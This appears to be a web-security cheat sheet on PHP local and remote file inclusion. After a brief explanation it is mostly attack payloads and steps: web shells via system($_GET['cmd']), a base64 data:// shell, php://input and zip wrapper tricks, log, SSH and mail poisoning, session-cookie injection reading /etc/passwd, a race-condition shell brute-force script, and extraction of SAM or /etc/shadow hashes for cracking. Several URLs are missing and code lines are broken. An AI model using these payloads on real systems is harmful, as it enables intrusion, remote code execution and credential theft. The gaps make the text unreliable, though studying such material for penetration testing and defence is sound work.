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File Inclusion

What is File Inclusion?

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. This vulnerability also allows an attacker to access unauthorised or sensitive files available on the web server or to execute malicious files on the web server by making use of the ‘include’ functionality.

Types of File Inclusion

Local File Inclusion (LFI)

In this the attacker can retrieve files from the local server also he can execute files of the local server.

Remote File Inclusion (RFI)

Through this vulnerability the attacker can execute the remotes files on the server, In general words, This vulnerability occurs occurs when the web application downloads and executes a remote file.

Difference between Directory transversal & File Inclusion

Local and remote file inclusion can be differentiated by reviewing the source code of php.ini (it can be found in PHP/apache2/php.ini). By default, this is the configuration "allow url_include= OFF". However, sometimes developer change this configuration to "ON" for redirecting the user or pulling the resource of the user from a different application. If the configuration is "allow url_include = ON" only then RFI is possible. LFI does not rely on this condition. Parameters which differentiates all these vulnerabilities are summarised in below table.\

Parameters Path Traversal LFI RFI
Missing access control of directories Yes N/A N/A
Allow_URL include = ON in php.ini N/A Yes Yes
Allow_URL include = OFF in php.ini N/A Yes No
No input validation on include pages and files Yes Yes N/A

In Directory transversal an attacker can retrieve unauthorized files and directories from the server, & in Local File Inclusion an attacker can retrieve files from the server as well as can execute files of the server. This extra functionality makes LFI different from directory traversal/path traversal. Therefore, we can say that path/directory traversal is a subset of LFI


Basic LFI

In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.

Null byte

⚠️ In versions of PHP below 5.3.4 we can terminate with null byte.

Double encoding

UTF-8 encoding

Path and dot truncation

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.[ADD MORE]\.\.\.\.\.\.[ADD MORE][ADD MORE][ADD MORE]../../../../etc/passwd

Filter bypass tricks

Basic RFI

Most of the filter bypasses from LFI section can be reused for RFI.

Null byte

Double encoding

Bypass allow_url_include

When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.

  1. Create a share open to everyone
  2. Write a PHP code inside a file : shell.php
  3. Include it\\\share\shell.php

LFI / RFI using wrappers

Wrapper php://filter

The part "php://filter" is case insensitive

can be chained with a compression wrapper for large files.

NOTE: Wrappers can be chained multiple times using | or /:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "" -S -f "index.php%00" -O index.php --parameter page 
curl "" | base64 -d > index.php

Wrapper zip://

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.php;
mv shell.jpg;
rm payload.php

Wrapper data://;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple curl command.

curl -X POST --data "<?php echo shell_exec('id'); ?>" "" -k -v

Alternatively, Kadimus has a module to automate this attack.

./kadimus -u ""  -C '<?php echo shell_exec("id"); ?>' -T input

Wrapper phar://

Create a phar file with a serialized object in its meta-data.

// create new Phar
$phar = new Phar('test.phar');
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked

class AnyClass {
    function __destruct() {
        echo $this->data;
// output: rips

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists and many more.

LFI to RCE via /proc/*/fd

  1. Upload a lot of shells (for example : 100)
  2. Include\(PID/fd/\)FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race)

Worlds Quitest Let's Play"

  • Upload a file and trigger a self-inclusion.
  • Repeat 1 a shitload of time to:
  • increase our odds of winning the race
  • increase our guessing odds
  • Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
  • Enjoy our shell.
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):'', f)

print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = '' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)

print('[x] Something went wrong, please try again')

LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as \(\_GET**, **\)_POST and $_FILES.

By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script (also available at

Research from

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.


Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.

ssh <?php system($_GET["cmd"]);?>@

Then include the SSH log files inside the Web Application.

RCE via Mail

First send an email using the open SMTP then include the log file located at

root@kali:~# telnet 25
Connected to
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from:
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>

In some cases you can also send the email with the mail command line.

mail -s "<?php system($_GET['cmd']);?>" www-data@ < /dev/null

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files


Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file


LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

Windows version

First extract sam and system files.

Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version

First extract /etc/shadow files.

Then crack the hashes inside in order to login via SSH on the machine.